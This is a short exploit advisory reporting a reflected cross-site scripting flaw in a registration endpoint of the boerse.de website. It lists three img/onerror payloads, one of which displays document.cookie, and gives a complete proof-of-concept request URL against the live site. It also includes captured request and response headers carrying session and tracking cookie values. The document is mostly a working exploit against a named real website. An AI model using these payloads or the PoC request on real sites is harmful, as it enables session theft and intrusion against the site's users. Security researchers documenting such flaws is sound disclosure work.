Boerse.de Cross SIte Scripting

`# Exploit Title: [ Reflected XSS at Boerse DE ]  
  
# Date: [22.05.2018]  
  
# Exploit Author: [Ismail Tasdelen]  
  
# Vendor Homepage: [https://www.boerse.de]  
  
# Software Link: [ Website ]  
  
# Version: 1.0.0  
  
# Tested on: Google Chrome / Mozilla FireFox   
  
# Reflected XSS Payload :  
  
"><img%20src=x%20onerror=prompt(%27ismailtasdelen%27)>  
"><img%20src=x%20onerror=prompt(document.cookie)>  
"><img%20src=x%20onerror=prompt(document.domain)>  
  
# PoC :  
  
# General :  
  
Request URL: https://www.boerse.de/ajax/mybacstart.php?mode=register&user=%22%3E%3Cimg%20src=x%20onerror=prompt(%27ismailtasdelen%27)%3E&email=&pass=&pass2=&anrede=null&vorname=&name=&str=&plz=&ort=&land=null&agbok=false&linknr=67450inurl  
Request Method: GET  
Status Code: 200 OK  
Remote Address: 217.72.219.144:443  
Referrer Policy: no-referrer-when-downgrade  
  
# Request Headers :  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Cache-Control: max-age=0  
Connection: keep-alive  
Cookie: boersedeID=516638000; _ga=GA1.2.989253144.1526983087; _gid=GA1.2.801464415.1526983087; __sharethis_cookie_test__=1; _pk_ses.1.f29b=*; adp_segs=e0; __gads=ID=937cc82898e826b7:T=1526983084:S=ALNI_MaHFHxkarZZeXIErPdIGn7mZhyCxg; SL_C_23361dd035530_KEY=7780e94e74cea2ef6812c53aebc29e9f964cbf7b; cookieconsent_dismissed=yes; POPUPCHECK=1527069573974; axd=1001117171158050011; __unam=2e3076a-1638748d442-6be076fe-4; _pk_id.1.f29b=3d943b1a245b740e.1526983089.1.1526983820.1526983089.  
Host: www.boerse.de  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36  
  
# Response Headers :  
  
Access-Control-Allow-Credentials: true  
Connection: keep-alive  
Content-Encoding: gzip  
Content-Length: 3675  
Content-Type: text/html; charset=utf-8  
Date: Tue, 22 May 2018 10:17:49 GMT  
Server: nginx/1.2.1  
Set-Cookie: boersedeID=516638000; expires=Thu, 21-Jun-2018 10:17:26 GMT; path=/  
Vary: Accept-Encoding  
X-Powered-By: PHP/5.4.4-14+deb7u9  
X-XSS-Protection: 0  
  
# Query String Parameters :  
  
mode: register  
user: "><img src=x onerror=prompt('ismailtasdelen')>  
email:   
pass:   
pass2:   
anrede: null  
vorname:   
name:   
str:   
plz:   
ort:   
land: null  
agbok: false  
linknr: 67450inurl  
  
# You want to follow my activity ?  
  
https://www.linkedin.com/in/ismailtasdelen  
https://github.com/ismailtasdelen  
https://twitter.com/ismailtsdln  
`